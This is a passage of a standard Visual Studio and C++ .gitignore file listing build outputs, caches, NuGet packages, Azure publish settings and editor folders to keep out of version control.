220 | *.[Pp]ublish.xml
221 | *.azurePubxml
222 | # Note: Comment the next line if you want to checkin your web deploy settings,
223 | # but database connection strings (with potential passwords) will be unencrypted
224 | *.pubxml
225 | *.publishproj
226 | 
227 | # Microsoft Azure Web App publish settings. Comment the next line if you want to
228 | # checkin your Azure Web App publish settings, but sensitive information contained
229 | # in these scripts will be unencrypted
230 | PublishScripts/
231 | 
232 | # NuGet Packages
233 | *.nupkg
234 | # NuGet Symbol Packages
235 | *.snupkg
236 | # The packages folder can be ignored because of Package Restore
237 | **/[Pp]ackages/*
238 | # except build/, which is used as an MSBuild target.
239 | !**/[Pp]ackages/build/
240 | # Uncomment if necessary however generally it will be regenerated when needed
241 | #!**/[Pp]ackages/repositories.config
242 | # NuGet v3's project.json files produces more ignorable files
243 | *.nuget.props
244 | *.nuget.targets
245 | 
246 | # Nuget personal access tokens and Credentials
247 | # nuget.config
248 | 
249 | # Microsoft Azure Build Output
250 | csx/
251 | *.build.csdef
252 | 
253 | # Microsoft Azure Emulator
254 | ecf/
255 | rcf/
256 | 
257 | # Windows Store app package directories and files
258 | AppPackages/
259 | BundleArtifacts/
260 | Package.StoreAssociation.xml
261 | _pkginfo.txt
262 | *.appx
263 | *.appxbundle
264 | *.appxupload
265 | 
266 | # Visual Studio cache files
267 | # files ending in .cache can be ignored
268 | *.[Cc]ache
269 | # but keep track of directories ending in .cache
270 | !?*.[Cc]ache/
271 | 
272 | # Others
273 | ClientBin/
274 | ~$*
275 | *~
276 | *.dbmdl
277 | *.dbproj.schemaview
278 | *.jfm
279 | *.pfx
280 | *.publishsettings
281 | orleans.codegen.cs
282 | 
283 | # Including strong name files can present a security risk
284 | # (https://github.com/github/gitignore/pull/2483#issue-259490424)
285 | #*.snk
286 | 
287 | # Since there are multiple workflows, uncomment next line to ignore bower_components
288 | # (https://github.com/github/gitignore/pull/1529#issuecomment-104372622)
289 | #bower_components/
290 | 
291 | # RIA/Silverlight projects
292 | Generated_Code/
293 | 
294 | # Backup & report files from converting an old project file
295 | # to a newer Visual Studio version. Backup files are not needed,
296 | # because we have git ;-)
297 | _UpgradeReport_Files/
298 | Backup*/
299 | UpgradeLog*.XML
300 | UpgradeLog*.htm
301 | ServiceFabricBackup/
302 | *.rptproj.bak
303 | 
304 | # SQL Server files
305 | *.mdf
306 | *.ldf
307 | *.ndf
308 | 
309 | # Business Intelligence projects
310 | *.rdl.data
311 | *.bim.layout
312 | *.bim_*.settings
313 | *.rptproj.rsuser
314 | *- [Bb]ackup.rdl
315 | *- [Bb]ackup ([0-9]).rdl
316 | *- [Bb]ackup ([0-9][0-9]).rdl
317 | 
318 | # Microsoft Fakes
319 | FakesAssemblies/
320 | 
321 | # GhostDoc plugin setting file
322 | *.GhostDoc.xml
323 | 
324 | # Node.js Tools for Visual Studio
325 | .ntvs_analysis.dat
326 | node_modules/
327 | 
328 | # Visual Studio 6 build log
329 | *.plg
330 | 
331 | # Visual Studio 6 workspace options file
332 | *.opt
333 | 
334 | # Visual Studio 6 auto-generated workspace file (contains which files were open etc.)
335 | *.vbw
336 | 
337 | # Visual Studio LightSwitch build output
338 | **/*.HTMLClient/GeneratedArtifacts
339 | **/*.DesktopClient/GeneratedArtifacts
340 | **/*.DesktopClient/ModelManifest.xml
341 | **/*.Server/GeneratedArtifacts
342 | **/*.Server/ModelManifest.xml
343 | _Pvt_Extensions
344 | 
345 | # Paket dependency manager
346 | .paket/paket.exe
347 | paket-files/
348 | 
349 | # FAKE - F# Make
350 | .fake/
351 | 
352 | # CodeRush personal settings
353 | .cr/personal
354 | 
355 | # Python Tools for Visual Studio (PTVS)
356 | __pycache__/
357 | *.pyc
358 | 
359 | # Cake - Uncomment if you are using it
360 | # tools/**
361 | # !tools/packages.config
362 | 
363 | # Tabs Studio
364 | *.tss
365 | 
366 | # Telerik's JustMock configuration file
367 | *.jmconfig
368 | 
369 | # BizTalk build output
370 | *.btp.cs
371 | *.btm.cs
372 | *.odx.cs
373 | *.xsd.cs
374 | 
375 | # OpenCover UI analysis results
376 | OpenCover/
377 | 
378 | # Azure Stream Analytics local run output
379 | ASALocalRun/
380 | 
381 | # MSBuild Binary and Structured Log
382 | *.binlog
383 | 
384 | # NVidia Nsight GPU debugger configuration file
385 | *.nvuser
386 | 
387 | # MFractors (Xamarin productivity tool) working folder
388 | .mfractor/
389 | 
390 | # Local History for Visual Studio
391 | .localhistory/
392 | 
393 | # BeatPulse healthcheck temp database
394 | healthchecksdb
395 | 
396 | # Backup folder for Package Reference Convert tool in Visual Studio 2017
397 | MigrationBackup/
398 | 
399 | # Ionide (cross platform F# VS Code tools) working folder
400 | .ionide/
401 | 
402 | # Fody - auto-generated XML schema
403 | FodyWeavers.xsd
404 | 
405 | # VS Code files for those working on multiple tools
406 | .vscode/*
407 | !.vscode/settings.json
408 | !.vscode/tasks.json
409 | !.vscode/launch.json
410 | !.vscode/extensions.json
411 | *.code-workspace
412 | 
413 | # Local History for Visual Studio Code
414 | .history/
415 | 
416 | # Windows Installer files from build outputs
417 | *.cab
418 | *.msi
419 | *.msix
420 | *.msm
421 | *.msp
422 | 
423 | # JetBrains Rider
424 | .idea/
425 | *.sln.iml
426 | 
427 | ### VisualStudio Patch ###
428 | # Additional files built by Visual Studio
429 | 
430 | # End of https://www.toptal.com/developers/gitignore/api/visualstudio,c++
431 | 
432 | 


--------------------------------------------------------------------------------